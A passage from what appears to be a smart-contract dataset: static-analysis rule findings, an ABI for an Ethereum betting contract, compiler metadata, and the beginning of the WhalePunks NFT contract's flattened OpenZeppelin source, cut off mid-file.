"severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1365, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1365, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1382, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1382, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1382, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1382, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1382, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1386, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1386, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1386, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1386, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1390, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1390, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1390, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1395, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1400, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1418, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1435, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1435, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1477, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1477, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1521, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1525, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1581, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1581, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1609, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1654, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1654, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1664, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1676, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1676, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1676, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1719, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1719, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1719, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1771, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1974, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1974, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1974, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 2046, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 2046, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 2046, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 2278, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 94, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 103, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 117, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 163, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 189, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 254, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 302, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 352, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 392, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 413, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 436, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 470, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 494, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 521, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 525, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 531, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 537, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 541, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 561, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 565, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 571, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 577, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 581, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 727, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 751, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1538, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1545, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1557, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1595, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1730, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1754, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1782, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 819, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 820, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 821, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 822, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 823, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 824, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 825, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 826, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 827, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 828, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 829, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 830, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 831, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 832, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 834, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 836, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1520, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1578, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1579, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1932, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1933, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1934, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1935, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1936, "severity": 1}]
[{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"TEAMS","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"commission_rate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_matchId","type":"uint8"},{"name":"_betId","type":"uint256"}],"name":"getBet","outputs":[{"name":"","type":"address"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"bool"},{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_matchId","type":"uint8"}],"name":"getMatch","outputs":[{"name":"","type":"string"},{"name":"","type":"string"},{"name":"","type":"string"},{"name":"","type":"bool"},{"name":"","type":"uint8"},{"name":"","type":"uint8"},{"name":"","type":"uint8"},{"name":"","type":"uint256"},{"name":"","type":"bool"},{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_myid","type":"bytes32"},{"name":"_result","type":"string"}],"name":"__callback","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"secondaryGasLimit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_matchId","type":"uint8"}],"name":"cancelMatch","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"myid","type":"bytes32"},{"name":"result","type":"string"},{"name":"proof","type":"bytes"}],"name":"__callback","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_newCommission","type":"uint8"}],"name":"changeFees","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"PAYOUT_ATTEMPT_INTERVAL","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawBalance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_newMin","type":"uint256"}],"name":"changeMiniumBet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"minimum_bet","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"},{"name":"_fixture","type":"string"},{"name":"_secondary","type":"string"},{"name":"_invert","type":"bool"},{"name":"_teamA","type":"uint8"},{"name":"_teamB","type":"uint8"},{"name":"_start","type":"uint256"}],"name":"addMatch","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_matchId","type":"uint8"},{"name":"_betId","type":"uint256"}],"name":"cancelBet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"primaryGasLimit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_matchId","type":"uint8"},{"name":"_outcome","type":"uint8"}],"name":"placeBet","outputs":[{"name":"","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"_matchId","type":"uint8"}],"name":"getMatchBettingDetails","outputs":[{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_price","type":"uint256"}],"name":"setGasPrice","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_NUM_PAYOUT_ATTEMPTS","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_amount","type":"uint256"}],"name":"withdrawCommissions","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getNumMatches","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_matchId","type":"uint8"},{"name":"_betId","type":"uint8"}],"name":"claimBet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"uint8"}],"name":"MatchCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"uint8"}],"name":"MatchUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"uint8"}],"name":"MatchFailedPayoutRelease","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"matchId","type":"uint8"},{"indexed":false,"name":"outcome","type":"uint8"},{"indexed":false,"name":"betId","type":"uint256"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"better","type":"address"}],"name":"BetPlaced","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"matchId","type":"uint8"},{"indexed":false,"name":"betId","type":"uint256"}],"name":"BetClaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"matchId","type":"uint8"},{"indexed":false,"name":"betId","type":"uint256"}],"name":"BetCancelled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}]
v0.4.23+commit.124ca40d
false
200
Default
false
bzzr://7491febfc8669db31bd6a3d1c3f0f256bb91e5d1693863dd5b4580acaa372322
WhalePunks
0xb96b87a4e2cf114adf6b30d0bbca001ba31865b1
Solidity
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // 